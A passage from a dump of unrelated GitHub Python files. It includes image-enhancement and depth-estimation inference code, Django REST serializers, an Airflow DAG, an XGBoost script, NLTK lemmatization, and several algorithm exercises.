[]\n\t\t\tcosine[get_cosine(centroid,tweet.tweetWordDict)].append(tweet)\n\t\t\tfor tweets in self.ft_set:\n\t\t\t\tnewCos = get_cosine(centroid,tweets.tweetWordDict)\n\t\t\t\tif newCos in cosine:\n\t\t\t\t\tcosine[newCos].append(tweets)\n\t\t\t\telse:\n\t\t\t\t\tcosine[newCos] = []\n\t\t\t\t\tcosine[newCos].append(tweets)\n\t\t\t\n\t\t\tkeyList = cosine.keys()\n\t\t\tkeyList.sort(reverse= True)\n\t\t\tdel keyList[-1]\n\n\t\t\tself.ft_set = []\n\t\t\tfor key in keyList:\n\t\t\t\t#print 'cosine value is %s' % key\n\t\t\t\tfor tups in cosine[key]:\n\t\t\t\t\tself.ft_set.append(tups)\n\t\t\t\t\t#print 'Complex adding tweet %s to cluster %s ft_set' %(tups.id,self.clusterId)\n\n\t\t\t#print \"length of new ft_set is %s\" % len(self.ft_set)\t\t\n\n\nclass TWEET(object):\n\ttweetList = []\n\tdef __init__(self,wordDict,tweet,ts,weight,ids):\n\t\tself.tweetWordDict = wordDict\n\t\tself.tweetStr = tweet\n\t\tself.ts = ts\n\t\tself.w = weight\n\t\tself.id = ids\n\t\tself.score = 0\n\t\tself.clusterIdOfTweet = -1\n\n\tdef copy(tweet):\n\t\treturn TWEET(tweet.tweetWordDict,tweet.ts,tweet.w,tweet.id)\n\n","repo_name":"Full-Stack-Typhoon/Improved-Sumblr","sub_path":"dataStr.py","file_name":"dataStr.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8653607359","text":"# -*- coding: utf-8 -*-\n\nimport torch\n# from torch import nn\n# from torch import functional\n# from torchvision import datasets, transforms, models\n# import torch.nn.functional as F\nimport cv2\nfrom PIL import Image\nimport numpy as np\nimport subprocess\nimport os\nfrom SwinIR.models.network_swinir import SwinIR\nfrom yolov5.detect import run\nimport re\n\n#For Depth estimation\nfrom torchvision.transforms import Compose\nimport DPT.util.io as io\nfrom DPT.dpt.models import DPTDepthModel\n# from DPT.dpt.midas_net import MidasNet_large\nfrom DPT.dpt.transforms import Resize, NormalizeImage, PrepareForNet\n\nclass Final_inference():\n\n def __init__(self, mode, ckpt_path=None, transform=None, device=\"cuda:0\"):\n \"\"\"\n input: mode = inference mode [\"detection\", \"denoising\", \"sr\"]\n ckpt_path = path to pretrained model\n transform = preprocessing (depend on each model)\n \"\"\"\n\n if(mode == \"denoising\"):\n\n self.model = SwinIR(upscale=1, in_chans=3, img_size=128, window_size=8,\n img_range=1., depths=[6, 6, 6, 6, 6, 6], embed_dim=180, num_heads=[6, 6, 6, 6, 6, 6],\n mlp_ratio=2, upsampler='', resi_connection='1conv').to(device)\n param_key_g = 'params'\n try:\n pretrained_model = torch.load(ckpt_path)\n self.model.load_state_dict(pretrained_model[param_key_g] if param_key_g in pretrained_model.keys() else pretrained_model, strict=True)\n except: print(\"Loading model failed\")\n self.model.eval()\n\n elif(mode == \"sr\"):\n\n self.model = SwinIR(upscale=4, in_chans=3, img_size=64, window_size=8,\n img_range=1., depths=[6, 6, 6, 6, 6, 6], embed_dim=180, num_heads=[6, 6, 6, 6, 6, 6],\n mlp_ratio=2, upsampler='nearest+conv', resi_connection='1conv').to(device)\n param_key_g = 'params_ema'\n pretrained_model = torch.load(ckpt_path)\n self.model.load_state_dict(pretrained_model[param_key_g] if param_key_g in pretrained_model.keys() else pretrained_model, strict=True)\n try:\n pretrained_model = torch.load(ckpt_path)\n self.model.load_state_dict(pretrained_model[param_key_g] if param_key_g in pretrained_model.keys() else pretrained_model, strict=True)\n except: print(\"Loading model failed\")\n self.model.eval()\n\n elif(mode == \"detection\"):\n self.model_ckpt = ckpt_path\n\n elif(mode == \"depth\"):\n net_w = 384\n net_h = 384\n try:\n self.model = DPTDepthModel(\n path=ckpt_path,\n backbone=\"vitb_rn50_384\",\n non_negative=True,\n enable_attention_hooks=False,\n ).to(device)\n except: print(\"Loading model failed\")\n self.model.eval()\n normalization = NormalizeImage(mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5])\n transform = Compose(\n [\n Resize(\n net_w,\n net_h,\n resize_target=None,\n keep_aspect_ratio=True,\n ensure_multiple_of=32,\n resize_method=\"minimal\",\n image_interpolation_method=cv2.INTER_CUBIC,\n ),\n normalization,\n PrepareForNet(),\n ]\n )\n \n else:\n print(\"mode is not supported\")\n\n self.transform = transform\n self.device = device\n\n def detection_run(self, input_img):\n\n cv2.imwrite(\"./dataset/temp/test.jpg\", input_img)\n\n run(weights=self.model_ckpt, \n source=\"./dataset/temp\",\n project=\"./results/yolo_detect\",\n imgsz=[416, 416], \n conf_thres=0.5,\n )\n \n exp_listdir = [s[:3] + \"0\" + s[3:] for s in os.listdir(\"./results/yolo_detect\")]\n exp_listdir.sort(key=lambda f: int(re.sub('\\D', '', f)))\n final_dir = exp_listdir[-1]\n final_dir = final_dir[:2] + final_dir[3:]\n \n detected_image = cv2.imread(os.path.join(\"./results/yolo_detect\", final_dir, \"test.png\"))\n \n return detected_image\n \n def detection(self, input):\n\n input.save(\"./temp/test.png\")\n # cv2.imwrite(\"./temp/test.jpg\", input)\n\n argument = [\"--weights\", self.model_ckpt, \"--img\", \"416\", \"--source\", \"./temp\", \"--project\", \"./detect_results\"]\n test_file = 'yolov5/detect.py'\n ###### environment problem --> need to resolve\n subprocess.call(['/home/dspserver/anaconda3/envs/condaenv/bin/python3', test_file]+ argument)\n\n exp_listdir = sorted(os.listdir(\"./detect_results\"))\n # print(exp_listdir)\n final_dir = exp_listdir[-1]\n\n predicted_image = cv2.imread(os.path.join(\"./detect_results\", final_dir, \"test.png\"))\n \n return predicted_image\n\n def sr(self, input_img):\n\n window_size = 8\n # read image\n img_lq = input_img.astype(np.float32) / 255.\n img_lq = np.transpose(img_lq if img_lq.shape[2] == 1 else img_lq[:, :, [2, 1, 0]], (2, 0, 1)) # HCW-BGR to CHW-RGB\n img_lq = torch.from_numpy(img_lq).float().unsqueeze(0).to(self.device) # CHW-RGB to NCHW-RGB\n\n # inference\n with torch.no_grad():\n # pad input image to be a multiple of window_size\n _, _, h_old, w_old = img_lq.size()\n h_pad = (h_old // window_size + 1) * window_size - h_old\n w_pad = (w_old // window_size + 1) * window_size - w_old\n img_lq = torch.cat([img_lq, torch.flip(img_lq, [2])], 2)[:, :, :h_old + h_pad, :]\n img_lq = torch.cat([img_lq, torch.flip(img_lq, [3])], 3)[:, :, :, :w_old + w_pad]\n output = self.model(img_lq)\n output = output[..., :h_old * 4, :w_old * 4]\n\n # save image\n output = output.data.squeeze().float().cpu().clamp_(0, 1).numpy()\n if output.ndim == 3:\n output = np.transpose(output[[2, 1, 0], :, :], (1, 2, 0)) # CHW-RGB to HCW-BGR\n output = (output * 255.0).round().astype(np.uint8) # float32 to uint8\n\n return output\n\n\n def depth_estimate(self, input_img):\n \n img = cv2.cvtColor(input_img, cv2.COLOR_BGR2RGB) / 255.0\n img_input = self.transform({\"image\": img})[\"image\"]\n\n with torch.no_grad():\n sample = torch.from_numpy(img_input).to(self.device).unsqueeze(0)\n\n prediction = self.model.forward(sample)\n prediction = (\n torch.nn.functional.interpolate(\n prediction.unsqueeze(1),\n size=img.shape[:2],\n mode=\"bicubic\",\n align_corners=False,\n )\n .squeeze()\n .cpu()\n .numpy()\n )\n\n depth = prediction\n depth_min = depth.min()\n depth_max = depth.max()\n\n max_val = (2 ** (8 * 2)) - 1\n\n if depth_max - depth_min > np.finfo(\"float\").eps:\n out = max_val * (depth - depth_min) / (depth_max - depth_min)\n else:\n out = np.zeros(depth.shape, dtype=depth.dtype)\n\n return out\n \n\n \n def denoise(self, input_img):\n\n\n window_size = 8\n # read image\n img_lq = input_img.astype(np.float32) / 255.\n img_lq = np.transpose(img_lq if img_lq.shape[2] == 1 else img_lq[:, :, [2, 1, 0]], (2, 0, 1)) # HCW-BGR to CHW-RGB\n img_lq = torch.from_numpy(img_lq).float().unsqueeze(0).to(self.device) # CHW-RGB to NCHW-RGB\n\n # inference\n with torch.no_grad():\n # pad input image to be a multiple of window_size\n _, _, h_old, w_old = img_lq.size()\n h_pad = (h_old // window_size + 1) * window_size - h_old\n w_pad = (w_old // window_size + 1) * window_size - w_old\n img_lq = torch.cat([img_lq, torch.flip(img_lq, [2])], 2)[:, :, :h_old + h_pad, :]\n img_lq = torch.cat([img_lq, torch.flip(img_lq, [3])], 3)[:, :, :, :w_old + w_pad]\n output = self.model(img_lq)\n output = output[..., :h_old * 4, :w_old * 4]\n\n # save image\n output = output.data.squeeze().float().cpu().clamp_(0, 1).numpy()\n if output.ndim == 3:\n output = np.transpose(output[[2, 1, 0], :, :], (1, 2, 0)) # CHW-RGB to HCW-BGR\n output = (output * 255.0).round().astype(np.uint8) # float32 to uint8\n \n return output\n \n\nif __name__ == \"__main__\":\n\n # test_transform = transforms.Compose([\n # transforms.Resize((224, 224)),\n # transforms.ToTensor(),\n # transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])])\n\n # test sr\n # enhancer = Final_inference(mode='sr', \n # ckpt_path=\"SwinIR/experiments/pretrained_models/003_realSR_BSRGAN_DFO_s64w8_SwinIR-M_x4_GAN.pth\")\n \n # img = cv2.imread(\"dataset/Image_SR_test/005321_jpg.rf.149d4fd7de04bf4b2153cded33d18492.jpg\")\n # out_img = enhancer.denoise(img)\n # cv2.imwrite(\"results/results_sr.jpg\", out_img)\n\n #test denoise\n # enhancer = Final_inference(mode='denoising', \n # ckpt_path=\"SwinIR/experiments/pretrained_models/005_colorDN_DFWB_s128w8_SwinIR-M_noise25.pth\")\n \n # img = cv2.imread(\"dataset/Image_Denoise_test/005321_jpg.rf.149d4fd7de04bf4b2153cded33d18492.jpg\")\n # out_img = enhancer.denoise(img)\n # cv2.imwrite(\"results/results_denoise.jpg\", out_img)\n\n # test detection\n # detector = Final_inference(mode=\"detection\", ckpt_path=\"yolov5/runs/train/Mask_yolov5s_results/weights/best.pt\")\n # img = cv2.imread(\"dataset/Image_SR_test/005321_jpg.rf.149d4fd7de04bf4b2153cded33d18492.jpg\")\n # out_img = detector.detection_run(img)\n\n #test depth\n estimator = Final_inference(mode=\"depth\", ckpt_path=\"DPT/weights/dpt_hybrid-midas-501f0c75.pt\")\n img = cv2.imread(\"dataset/1.png\")\n out_img = estimator.depth_estimate(img)\n cv2.imwrite(\"results/results_depth.png\", out_img.astype(\"uint16\"), [cv2.IMWRITE_PNG_COMPRESSION, 0])\n \n\n\n\n \n \n","repo_name":"Ka0Ri/ITRC","sub_path":"inference_full.py","file_name":"inference_full.py","file_ext":"py","file_size_in_byte":10251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70901238547","text":"from typing import List\n\n\nclass Solution:\n def maxScore(self, nums: List[int], x: int) -> int:\n even = nums[0] - (x if nums[0] % 2 else 0)\n odd = nums[0] - (0 if nums[0] % 2 else x)\n\n for i in range(1, len(nums)):\n if nums[i] % 2:\n odd = nums[i] + max(odd, even - x)\n else:\n even = nums[i] + max(even, odd - x)\n\n return max(odd, even)\n\n\nsol = Solution()\nprint(sol.maxScore([2, 3, 6, 1, 9, 2], 5))\n","repo_name":"anujvaghani0/DSA-Python","sub_path":"DynamicProgramming/VisitArrayPositionsToMaximizeScore.py","file_name":"VisitArrayPositionsToMaximizeScore.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"37601646928","text":"import os\n\nfrom googleapiclient.discovery import build\nfrom googleapiclient.errors import HttpError\nfrom oauth2client.tools import argparser\nimport pydash as _\n\ndef obtain(search_term, category):\n DEVELOPER_KEY = os.getenv(\"YOUTUBE_API_KEY\")\n YOUTUBE_API_SERVICE_NAME = \"youtube\"\n YOUTUBE_API_VERSION = \"v3\"\n \n try:\n youtube = build(\n YOUTUBE_API_SERVICE_NAME, \n YOUTUBE_API_VERSION,\n developerKey=DEVELOPER_KEY\n )\n except HttpError:\n return None\n \n try:\n search_response = youtube.search().list(\n q=search_term,\n part=\"id,snippet\",\n maxResults=1\n ).execute()\n except HttpError as e:\n return None\n \n video_list = search_response.get(\"items\", [])\n if not video_list:\n return None\n\n return {\n \"metadata\": {\n \"type\": \"youtube-video\",\n \"term\": search_term,\n \"category\": category\n },\n \"data\": {\n \"name\": _.get(video_list, '0.title', None),\n \"link\": \"https://www.youtube.com/embed/%s\" % \n _.get(video_list, '0.id.videoId')\n }\n }\n","repo_name":"OracleChrome/nlp","sub_path":"api_youtube.py","file_name":"api_youtube.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"8009126464","text":"from django.shortcuts import get_object_or_404\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueTogetherValidator\nfrom django.contrib.auth.models import User, Group\nfrom .models import Category, MenuItem, Cart, Order, OrderItem\nfrom django.http import Http404\n\nclass CategorySerializer(serializers.ModelSerializer):\n class Meta:\n model = Category\n fields = ['id','title', 'slug']\n validators = [\n UniqueTogetherValidator(\n queryset=Category.objects.all(),\n fields=['title']\n ),\n ]\n\nclass MenuItemSerializer(serializers.ModelSerializer):\n category = CategorySerializer(read_only=True)\n category_id = serializers.IntegerField(write_only=True)\n class Meta:\n model = MenuItem\n fields = [\n 'id', \n 'title', \n 'price', \n 'featured',\n 'category', \n 'category_id',\n ]\n validators = [UniqueTogetherValidator(queryset=MenuItem.objects.all(), message='The title is not unique.', fields=['title'])]\n\nclass GroupSerializer(serializers.ModelSerializer):\n class Meta:\n model = Group\n fields = ['id', 'name']\n\nclass UserSerializer(serializers.ModelSerializer):\n groups = serializers.SerializerMethodField(read_only=True)\n\n def get_groups(self, obj):\n return GroupSerializer(obj.groups.all(), many=True).data\n \n class Meta:\n model = User\n fields = [\n 'id',\n 'username', \n 'first_name', \n 'last_name', \n 'email',\n 'groups',\n ]\n\nclass CartSerializer(serializers.ModelSerializer):\n user = serializers.PrimaryKeyRelatedField(\n queryset=User.objects.all(),\n default=serializers.CurrentUserDefault()\n )\n menuitem = MenuItemSerializer(read_only=True)\n menuitem_id = serializers.IntegerField(write_only=True)\n unit_price = serializers.DecimalField(max_digits=6, decimal_places=2, read_only=True)\n quantity = serializers.IntegerField()\n price = serializers.SerializerMethodField()\n\n \n def get_price(self, obj):\n return obj.quantity * obj.unit_price\n\n def create(self, validated_data):\n menuitem_id = validated_data['menuitem_id']\n menuitem = get_object_or_404(MenuItem, id=menuitem_id, )\n validated_data['unit_price'] = menuitem.price\n validated_data['price'] = validated_data['quantity'] * validated_data['unit_price']\n cart = super().create(validated_data)\n return cart\n\n class Meta:\n model = Cart\n fields = [\n 'id',\n 'user',\n 'menuitem_id',\n 'menuitem',\n 'unit_price',\n 'quantity',\n 'price',\n ]\n validators = [\n UniqueTogetherValidator(\n queryset=Cart.objects.all(),\n fields=['user', 'menuitem_id']\n ),\n ]\n \nclass OrderItemSerializer(serializers.ModelSerializer):\n order = serializers.PrimaryKeyRelatedField(\n read_only=True,\n )\n order_id = serializers.IntegerField(write_only=True)\n menuitem = MenuItemSerializer(read_only=True)\n menuitem_id = serializers.IntegerField(write_only=True)\n \n class Meta:\n model = OrderItem\n fields = [\n 'id',\n 'order',\n 'order_id',\n 'menuitem',\n 'menuitem_id',\n 'quantity',\n 'unit_price',\n 'price',\n ]\n\n\nclass OrderSerializer(serializers.ModelSerializer):\n user = serializers.PrimaryKeyRelatedField(\n queryset=User.objects.all(),\n default=serializers.CurrentUserDefault()\n )\n delivery_crew = serializers.PrimaryKeyRelatedField(\n queryset=User.objects.filter(id=2),\n allow_null=True,\n default=None,\n )\n delivery_crew_id = serializers.IntegerField(write_only=True)\n orderitems = serializers.SerializerMethodField()\n\n def get_orderitems(self, obj):\n orderitems = OrderItem.objects.filter(order=obj)\n return OrderItemSerializer(orderitems, many=True).data\n \n def validate_delivery_crew_id(self, value):\n try:\n user = User.objects.get(id=value)\n except User.DoesNotExist:\n raise Http404()\n if not user.groups.filter(name='Delivery crew').exists():\n raise serializers.ValidationError('User does not belong to the Delivery crew group.')\n return value\n\n\n \n class Meta:\n model = Order\n fields = [\n 'id',\n 'user',\n 'delivery_crew',\n 'delivery_crew_id',\n 'status',\n 'total',\n 'date',\n 'orderitems',\n ]\n","repo_name":"a56342003/LittleLemon-API","sub_path":"LittleLemonAPI/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":4802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9885694669","text":"# Import libraries with standard conventions\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import plot_roc_curve\nfrom sklearn.model_selection import train_test_split\n\nfrom helper_fe_v2 import (\n get_full_datapath_nm,\n read_df_from_file,\n check_module_members,\n gen_correlation,\n do_bkwd_fwd_selection,\n yaml_path,\n read_yaml_conf,\n remove_duplicates, \n drop_const_features,\n drop_quasi_const_features ,\n run_randomForestClassifier,\n run_logistic,\n run_randomForestRegressor\n)\n\n\n# Read in the yaml file\nconfig = read_yaml_conf(yaml_path())\nfile = config['files']['heart_disease']\n\n# extract local file name\nfnm, exists = get_full_datapath_nm (config['current_proj_dir'], \n config['data_dir_nm'], file) \nprint (\"full_path nm -from read_df\", fnm)\nif (exists == False) :\n print (\"file does not exist\", file) \n\n\ndf = pd.read_csv(fnm) # Loading the data\n\nX = df.iloc[:,:-1] # Feature matrix in pd.DataFrame format\ny = df.iloc[:,-1] # Target vector in pd.Series format\n\n# Making train and test sets for both X and y\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, \n random_state=42, shuffle=True)\n\n# Creating DMatrices\ndtrain = xgb.DMatrix(data=X_train, label=y_train)\ndtest = xgb.DMatrix(data=X_test, label=y_test)\n\n# Parameter dictionary\nparams = {'max_depth':4, 'objective':'binary:logistic',\n 'n_estimators':100, 'booster':'gbtree'} \n\n# Train the model with train data sets\nxgb_clf = xgb.train(params=params, dtrain=dtrain)\n\npreds = xgb_clf.predict(dtest) # Predictions returns as probabilities\ny_pred = [round(value) for value in preds]\ny_pred = np.array(y_pred).astype(int) # Predictions returns as classes\ny_true = y_test # True values\n\nprint(\"Accuracy: \", np.round(accuracy_score(y_true, y_pred), 3))","repo_name":"ArindamBanerji/wip-experiments","sub_path":"boosting/xgbm_2.py","file_name":"xgbm_2.py","file_ext":"py","file_size_in_byte":2060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"34889169288","text":"\"\"\"Test agrirouter/revoking/parameters.py\"\"\"\n\nfrom agrirouter import RevokingParameter\nfrom tests.constants import application_id\n\n\nclass TestRevokingParameter:\n content_type = \"json\"\n account_id = \"111\"\n endpoint_ids = \"endpoint_1\"\n time_zone = \"+03:00\"\n utc_timestamp = \"01-01-2021\"\n test_object = RevokingParameter(\n application_id=application_id,\n content_type=content_type,\n account_id=account_id,\n endpoint_ids=endpoint_ids,\n utc_timestamp=utc_timestamp,\n time_zone=time_zone\n )\n\n def test_get_header_params(self):\n assert self.test_object.get_header_params()[\"application_id\"] == application_id\n assert self.test_object.get_header_params()[\"content_type\"] == self.content_type\n\n def test_get_body_params(self):\n assert self.test_object.get_body_params()[\"account_id\"] == self.account_id\n assert self.test_object.get_body_params()[\"endpoint_ids\"] == self.endpoint_ids\n assert self.test_object.get_body_params()[\"utc_timestamp\"] == self.utc_timestamp\n assert self.test_object.get_body_params()[\"time_zone\"] == self.time_zone\n","repo_name":"DKE-Data/agrirouter-sdk-python","sub_path":"tests/test_revoking/test_parameters.py","file_name":"test_parameters.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"7778232936","text":"import nltk\nfrom nltk.stem import WordNetLemmatizer\nfrom nltk.corpus import wordnet\nfrom TextReader import TextReader\n\nlemmatizer = WordNetLemmatizer()\n\n\ndef nltk_pos_tagger(nltk_tag):\n if nltk_tag.startswith('J'):\n return wordnet.ADJ\n elif nltk_tag.startswith('V'):\n return wordnet.VERB\n elif nltk_tag.startswith('N'):\n return wordnet.NOUN\n elif nltk_tag.startswith('R'):\n return wordnet.ADV\n else:\n return None\n\n\n# def lemmatize_sentence(name):\n# reader = TextReader()\n# sentence = reader.readFileString(name)\n# nltk_tagged = nltk.pos_tag(nltk.word_tokenize(sentence))\n# wordnet_tagged = map(lambda x: (x[0], nltk_pos_tagger(x[1])), nltk_tagged)\n# lemmatized_sentence = []\n#\n# for word, tag in wordnet_tagged:\n# if tag is None:\n# lemmatized_sentence.append(word)\n# else:\n# lemmatized_sentence.append(lemmatizer.lemmatize(word, tag))\n# return lemmatized_sentence\n\n\ndef lemmatize_sentence(sentence):\n nltk_tagged = nltk.pos_tag(nltk.word_tokenize(sentence))\n wordnet_tagged = map(lambda x: (x[0], nltk_pos_tagger(x[1])), nltk_tagged)\n lemmatized_sentence = []\n\n for word, tag in wordnet_tagged:\n if tag is None:\n lemmatized_sentence.append(word)\n else:\n lemmatized_sentence.append(lemmatizer.lemmatize(word, tag))\n return \" \".join(lemmatized_sentence)\n\n\nprint(lemmatize_sentence(\"I am voting for that politician in this NLTK Lemmatization example sentence\"))\n\n# print(lemmatize_sentence(\"text_5.txt\"))\n","repo_name":"UnQuacker/MLA","sub_path":"test_class.py","file_name":"test_class.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74020156946","text":"import datetime as dt\nimport logging\nimport json\nimport os\n\nfrom airflow import DAG\nfrom airflow.operators.python import PythonOperator\n\nfrom custom.hooks import MovielensHook\n\n\nwith DAG(\n dag_id=\"02_hook\",\n description=\"Fetches ratings from the Movielens API using a custom hook.\",\n start_date=dt.datetime(2019, 1, 1),\n end_date=dt.datetime(2019, 1, 10),\n schedule_interval=\"@daily\",\n) as dag:\n\n def _fetch_ratings(conn_id, templates_dict, batch_size=1000, **_):\n logger = logging.getLogger(__name__)\n\n start_date = templates_dict[\"start_date\"]\n end_date = templates_dict[\"end_date\"]\n output_path = templates_dict[\"output_path\"]\n\n logger.info(f\"Fetching ratings for {start_date} to {end_date}\")\n hook = MovielensHook(conn_id=conn_id)\n ratings = list(\n hook.get_ratings(\n start_date=start_date, end_date=end_date, batch_size=batch_size\n )\n )\n logger.info(f\"Fetched {len(ratings)} ratings\")\n\n logger.info(f\"Writing ratings to {output_path}\")\n\n # Make sure output directory exists.\n output_dir = os.path.dirname(output_path)\n os.makedirs(output_dir, exist_ok=True)\n\n with open(output_path, \"w\") as file_:\n json.dump(ratings, fp=file_)\n\n PythonOperator(\n task_id=\"fetch_ratings\",\n python_callable=_fetch_ratings,\n op_kwargs={\"conn_id\": \"movielens\"},\n templates_dict={\n \"start_date\": \"{{ds}}\",\n \"end_date\": \"{{next_ds}}\",\n \"output_path\": \"/data/custom_hook/{{ds}}.json\",\n },\n )\n","repo_name":"BasPH/data-pipelines-with-apache-airflow","sub_path":"chapter08/dags/02_hook.py","file_name":"02_hook.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":577,"dataset":"github-code","pt":"48"} +{"seq_id":"23094431340","text":"import itertools\r\n\r\ns = \"ADOBECODEBANC\"\r\nt = \"ABC\"\r\n\r\ndef is_in(s,t):\r\n \"\"\"words = []\r\n\r\n group = \"\"\r\n\r\n temp_t = t\r\n let= False\r\n for letter in s:\r\n if letter in temp_t:\r\n let=True\r\n temp_t.replace(letter, '')\r\n\r\n if let:\r\n group+=letter\r\n\r\n if temp_t == '':\r\n let = False\r\n words.append(group)\r\n group=\"\"\r\n\r\n return(words)\"\"\"\r\n\r\n words = []\r\n\r\n group = \"\"\r\n let = False\r\n for letter in s:\r\n if letter in t[0]:\r\n group = \"\"\r\n let = True\r\n\r\n if let:\r\n group += letter\r\n\r\n if let and letter == t[len(t) - 1]:\r\n words.append(group)\r\n group = \"\"\r\n let = False\r\n\r\n for i in words:\r\n for j in t:\r\n if not j in i:\r\n words.remove(i)\r\n return (words)\r\n\r\n\r\n\r\n\r\ndef mix_letter(t):\r\n each_letter = []\r\n for i in t:\r\n each_letter.append(i)\r\n\r\n temp_words = list(itertools.permutations(each_letter, len(t)))\r\n\r\n mixed_words = []\r\n group = \"\"\r\n for j in temp_words:\r\n for h in j:\r\n group+=h\r\n mixed_words.append(group)\r\n group=\"\"\r\n\r\n return mixed_words\r\n\r\nall_true_words = []\r\nfor i in (mix_letter(t)):\r\n if len(is_in(s, i)) != 0:\r\n all_true_words.append(is_in(s, i))\r\n\r\n\r\nshortest = all_true_words[0][0]\r\nfor i in all_true_words:\r\n if len(i[0]) < len(shortest):\r\n shortest = i[0]\r\n\r\n\r\nprint(shortest)","repo_name":"Phoneria/Phoneria-SomeLeetCodeProblems","sub_path":"MinimumWindowSubstringInclude.py","file_name":"MinimumWindowSubstringInclude.py","file_ext":"py","file_size_in_byte":1511,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20390002041","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Dec 9 13:23:41 2019\r\n\r\n@author: student\r\n\"\"\"\r\n\r\nimport requests, lxml.html, io\r\nfrom PIL import Image\r\n\r\nres = requests.get(\"http://paiza.hatenablog.com\")\r\nroot = lxml.html.fromstring(res.text).getroottree()\r\n\r\n# 画像の場所を取得\r\nprint(root.xpath('//img')[0].attrib['src'])\r\n\r\n# 画像を取得\r\nres = requests.get(root.xpath('//img')[0].attrib['src'])\r\n\r\n# 1画素のRGBを取得\r\nimage = Image.open(io.BytesIO(res.content))\r\nprint(image.getpixel((0, 0)))\r\nimage.show\r\n","repo_name":"siensyax/web-scraping","sub_path":"paiza開発日誌/paiza開発日記から1枚目の写真を所得.py","file_name":"paiza開発日記から1枚目の写真を所得.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70053066385","text":"# Maximum Width of Binary Tree\n\nfrom collections import deque\n\nclass TreeNode:\n def __init__(self, val, left=None, right=None):\n \n self.val = val\n self.left = left\n self.right = right\n\n\nnode1 = TreeNode(5)\nnode2 = TreeNode(4)\nnode3 = TreeNode(8)\nnode4 = TreeNode(7)\nnode5 = TreeNode(2)\nnode6 = TreeNode(9)\nnode7 = TreeNode(1)\n\nroot = node1\nnode1.left = node2\nnode1.right = node3\nnode2.left = node4\nnode2.right = node5\nnode3.right = node6\nnode4.left = node7\n\n\"\"\"\n 5\n --------\n 4 8\n \n ------- --\n 7 2 9\n --\n 1\n\n\"\"\"\n\n\"\"\"\n EXPLANATION\n 0. Pretty sure we have todo bfs, we can use 2 Queus or deque(doubly ended queue)\n\n 1. According to Problem , we have also to count null nodes b/w two nodes.\n \n Tree No of nodes\n 5\t\t\t\t1\n / \\\n 3 6\t\t\t\t2\n / /\n 2 4\t\t\t\t2\n\n 2. Above example we have max 2 nodes in a level, but if you see the second level you\n will find that right child of 3 is NULL and therefore we also have to count that \n NULL node, and with that the last level now contain 3 nodes, refer to diagram below.\n\n 5\t\t\t\t1\n / \\\n 3 6\t\t\t2\n / \\ /\n 2 NULL 4\t\t\t\t3 (NULL node also counted)\n\n So Last Level Contains 3 Nodes Including NULL.\n\n 3 . We will also assign index to every node\n (if we are startting index from 0)\n \n (below is just formula to find index of node of complete binary tree)\n left(idx) = 2 idx + 1\t\t\t// left child\n right(idx) = 2 idx + 2\t\t\t// right child\n\n At starting root, idx = 0 so left node idx would be 2*0 +1 and right node index would be 2*0 + 2\n Index tree would be\n\n 0\t\t\t\t1\n / \\\n 1 2\t\t\t\t2\n / \\ /\n 3 4 5\t\t\t\t3 \n\n maxWidth would be 5-3+1 = 3\n\n Spoilers : Use a 2D queue and\n we will also insert index with node , so that we can keep track of index with their node\n\n\"\"\"\n\n# Time Complexity = O(n) || Space Complexity = O(n)\n\ndef widthOfBinaryTree( root):\n level = deque([(root,0)])\n maxWidth = 0\n while level:\n _,left = level[0]\n _,right = level[-1]\n maxWidth = max(maxWidth,((right-left)+1))\n for i in range(len(level)):\n node,idx = level.popleft()\n if node.left:\n level.append([node.left,(2*idx+1)])\n if node.right:\n level.append([node.right,(2*idx+2)])\n \n return maxWidth\n\nprint(widthOfBinaryTree( root))","repo_name":"DivyanshiChouksey/Data-Structure-Algorithm","sub_path":"477.Maximum Width of Binary Tree.py","file_name":"477.Maximum Width of Binary Tree.py","file_ext":"py","file_size_in_byte":2633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2685229043","text":"import pickle\n\n\nclass message():\n def __init__(self, message, pid, other=\"\"):\n self.command = message\n self.BallotNum = None\n self.AcceptNum = None\n self.AcceptVal = None\n self.val = None\n self.operation = None\n self.other = other\n self.senderPID = pid\n\n def getReadyToSend(self):\n return pickle.dumps(self)\n\n\ndef compareBallots(BallotOne, BallotTwo):\n if(BallotOne[2] > BallotTwo[2]):\n return True\n elif(BallotOne[2] == BallotTwo[2]):\n if(BallotOne[0] >= BallotTwo[0]):\n if(BallotOne[0] == BallotTwo[0]):\n if(BallotOne[1] > BallotTwo[1]):\n return True\n else:\n return False\n else:\n return True\n else:\n return False\n else:\n return 